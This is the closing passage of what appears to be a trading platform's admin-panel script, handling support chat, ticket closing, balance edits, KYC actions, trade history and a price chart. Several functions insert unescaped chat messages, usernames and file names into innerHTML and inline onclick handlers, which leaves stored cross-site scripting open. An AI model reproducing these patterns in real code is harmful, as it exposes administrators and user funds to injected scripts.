    let currentRingCount = 0;
    
    function playNextRing() {
        if(currentRingCount >= maxRings) return;
        
        const audioUrl = '../uploads/notification.mp3?v=' + Date.now();
        systemAudioInstance = new Audio(audioUrl);
        
        systemAudioInstance.play().then(() => {
            currentRingCount++;
            systemAudioInstance.onended = function() {
                setTimeout(playNextRing, 300); // 300ms break between elements
            };
        }).catch(err => {
            console.log("Audio pipeline requires admin gesture validation layer sync.");
        });
    }
    
    playNextRing();
}

function toggleAdminChatPanel() {
    var panel = document.getElementById('admin-chat-sidebar-panel');
    if(panel.style.right === '0px') {
        panel.style.right = '-450px';
    } else {
        panel.style.right = '0px';
    }
}

function triggerTopNotificationToast(text) {
    var toast = document.getElementById('admin-toast-notification');
    document.getElementById('toast-msg-content').innerText = text;
    toast.style.top = '25px';
    setTimeout(function() { toast.style.top = '-100px'; }, 4500);
}

function syncAdminChatPipeline() {
    fetch('../api/admin_chat_handler.php?action=get_active_chat_users')
        .then(res => res.json())
        .then(users => {
            const queueBox = document.getElementById('integrated-user-nodes-target');
            if(!queueBox) return;
            
            let htmlNodes = '';
            
            users.forEach(u => {
                let badgeNotificationHtml = '';
                if(parseInt(u.is_unread) === 1) {
                    badgeNotificationHtml = `<span style="background: #ff3366; color: #fff; font-size: 9px; padding: 1px 5px; border-radius: 10px; margin-left: 5px; box-shadow: 0 0 8px #ff3366; font-family:'Orbitron';">NEW</span>`;
                }
                
                let isActive = currentSelectedUserNode == u.id ? 'border: 1px solid #ff3366; background: rgba(255, 51, 102, 0.15);' : 'border: 1px solid #152c4e; background: #0b1528;';
                
                htmlNodes += `
                <div onclick="selectActiveUserTerminal(${u.id}, '${u.username}')" style="padding: 6px 12px; border-radius: 4px; cursor: pointer; font-size: 12px; font-weight: bold; color: #fff; font-family: 'Orbitron'; display: flex; align-items: center; justify-content: space-between; margin-bottom:5px; ${isActive}">
                    <span>👤 ID: ${u.id} (@${u.username})</span>
                    ${badgeNotificationHtml}
                </div>`;
            });
            
            queueBox.innerHTML = htmlNodes || '<div style="color:gray; font-size:12px; padding:5px;">No active tickets in node queue.</div>';
        });
}

function selectActiveUserTerminal(userId, username) {
    currentSelectedUserNode = userId;
    document.getElementById('integrated-current-user-id').value = userId;
    
    document.getElementById('integrated-chat-header').innerHTML = `
        <div style="display: flex; justify-content: space-between; align-items: center; width: 100%;">
            <span><span>⚡ TERMINAL: @${username.toUpperCase()}</span></span>
            <button type="button" onclick="terminateUserActiveTicket(${userId})" style="background: #bc0d3b; border: 1px solid rgba(255,255,255,0.2); color: #fff; padding: 4px 10px; border-radius: 4px; font-family: 'Orbitron'; font-size: 10px; font-weight: bold; cursor: pointer;">❌ CLOSE TICKET</button>
        </div>
    `;
    
    document.getElementById('integrated-chat-input').removeAttribute('disabled');
    document.getElementById('integrated-send-btn').removeAttribute('disabled');
    
    executeLiveStreamPipe();
    if(activeChatPoll) clearInterval(activeChatPoll);
    activeChatPoll = setInterval(executeLiveStreamPipe, 2000);
}

function executeLiveStreamPipe() {
    if (currentSelectedUserNode == 0) return;
    fetch(`../api/admin_chat_handler.php?action=get_user_stream_for_admin&user_id=${currentSelectedUserNode}`)
        .then(res => res.json())
        .then(data => {
            const chatLog = document.getElementById('integrated-chat-log-box');
            if (!chatLog) return;
            chatLog.innerHTML = '';
            
            data.forEach(msg => {
                let adminRole = msg.sender === 'admin';
                let matrixAlignment = adminRole ? 'align-self: flex-end; background: #ff3366; color: #fff;' : 'align-self: flex-start; background: #152c4e; color: #fff;';
                let assetPayload = msg.media_file ? `<br><img src="../uploads/${msg.media_file}" style="max-width:100%; border-radius:6px; margin-top:5px;">` : '';
                
                chatLog.innerHTML += `
                    <div style="max-width: 80%; padding: 10px 14px; border-radius: 8px; font-size: 13px; line-height:1.4; word-break: break-all; ${matrixAlignment}">
                        <div style="font-size:10px; opacity:0.6; font-weight:bold; margin-bottom:2px; font-family:'Orbitron';">${adminRole ? '⚙️ ADMIN NODE' : '👤 USER ID: ' + currentSelectedUserNode}</div>
                        <div>${msg.message_text}</div>
                        ${assetPayload}
                        <div style="font-size: 9px; opacity: 0.4; text-align: right; margin-top:4px;">${msg.created_at}</div>
                    </div>`;
            });
            chatLog.scrollTop = chatLog.scrollHeight;
        });
}

function terminateUserActiveTicket(userId) {
    if(!confirm("Are you sure you want to resolve and close this conversation node?")) return;
    const params = new FormData();
    params.append('action', 'close_user_ticket');
    params.append('user_id', userId);

    fetch('../api/admin_chat_handler.php', { method: 'POST', body: params })
        .then(res => res.json())
        .then(res => {
            if(res.status === 'success') {
                currentSelectedUserNode = 0;
                document.getElementById('integrated-current-user-id').value = 0;
                document.getElementById('integrated-chat-input').setAttribute('disabled', 'true');
                document.getElementById('integrated-send-btn').setAttribute('disabled', 'true');
                document.getElementById('integrated-chat-header').innerText = `🔴 NO ACTIVE USER SESSION SELECTED`;
                document.getElementById('integrated-chat-log-box').innerHTML = `<div style="text-align: center; color: gray; margin-top: 60px; font-size: 14px;">Ticket resolved. Queue empty.</div>`;
                syncAdminChatPipeline();
            }
        });
}

function submitIntegratedAdminReply(e) {
    e.preventDefault();
    const txtInput = document.getElementById('integrated-chat-input');
    if(!txtInput || !txtInput.value.trim() || currentSelectedUserNode == 0) return;

    const formParams = new FormData();
    formParams.append('action', 'send_admin_reply');
    formParams.append('user_id', currentSelectedUserNode);
    formParams.append('msg', txtInput.value.trim());

    fetch('../api/admin_chat_handler.php', { method: 'POST', body: formParams })
        .then(res => res.json())
        .then(res => {
            if(res.status === 'success') {
                txtInput.value = '';
                executeLiveStreamPipe();
                syncAdminChatPipeline();
            }
        });
}

function modifyUserFunds(userId, operation) {
    const amount = prompt("Enter Target Amount:");
    if (!amount || isNaN(amount) || parseFloat(amount) <= 0) return;
    const formData = new FormData();
    formData.append('action', 'update_balance');
    formData.append('user_id', userId);
    formData.append('amount', amount);
    formData.append('operation', operation);
    fetch('../api/admin_action.php', { method: 'POST', body: formData }).then(res => res.json()).then(res => { alert(res.message); location.reload(); });
}

function manageKYC(userId, actionStatus) {
    const formData = new FormData();
    formData.append('action', 'kyc_action');
    formData.append('user_id', userId);
    formData.append('status', actionStatus);
    fetch('../api/admin_action.php', { method: 'POST', body: formData }).then(res => res.json()).then(res => { alert(res.message); location.reload(); });
}

function viewTradeHistory(userId) {
    const formData = new FormData();
    formData.append('action', 'fetch_history');
    formData.append('user_id', userId);
    fetch('../api/admin_action.php', { method: 'POST', body: formData })
        .then(res => res.json())
        .then(res => {
            if(res.status === 'success') {
                const box = document.getElementById('history-ajax-display-card');
                const target = document.getElementById('history-inject-mesh-grid');
                target.innerHTML = res.html;
                box.style.display = 'block';
                box.scrollIntoView({ behavior: 'smooth' });
            }
        });
}

function initAdminChart() {
    const container = document.getElementById('admin-chart-container');
    if (!container) return;
    adminChart = LightweightCharts.createChart(container, {
        width: container.offsetWidth, height: 350,
        layout: { background: { color: '#0e1b35' }, textColor: '#c8d8e8' }
    });
    adminCandleSeries = adminChart.addSeries(LightweightCharts.CandlestickSeries, { upColor: '#00ff88', downColor: '#ff3366' });
    syncAdminChart();
    setInterval(syncAdminChart, 5000);
}

function syncAdminChart() {
    const selectEl = document.getElementById('admin-pair-select');
    if (!selectEl) return;
    const symbol = selectEl.value;
    fetch(`../api/prices.php?symbol=${symbol}&interval=1m&limit=120`)
        .then(res => res.json()).then(data => {
            if (data && data.length > 0) {
                const clean = data.map(item => ({ time: parseInt(item.time), open: parseFloat(item.open), high: parseFloat(item.high), low: parseFloat(item.low), close: parseFloat(item.close) }));
                if(adminCandleSeries) {
                    adminCandleSeries.setData(clean);
                }
            }
        });
}
</script>
</body>
</html>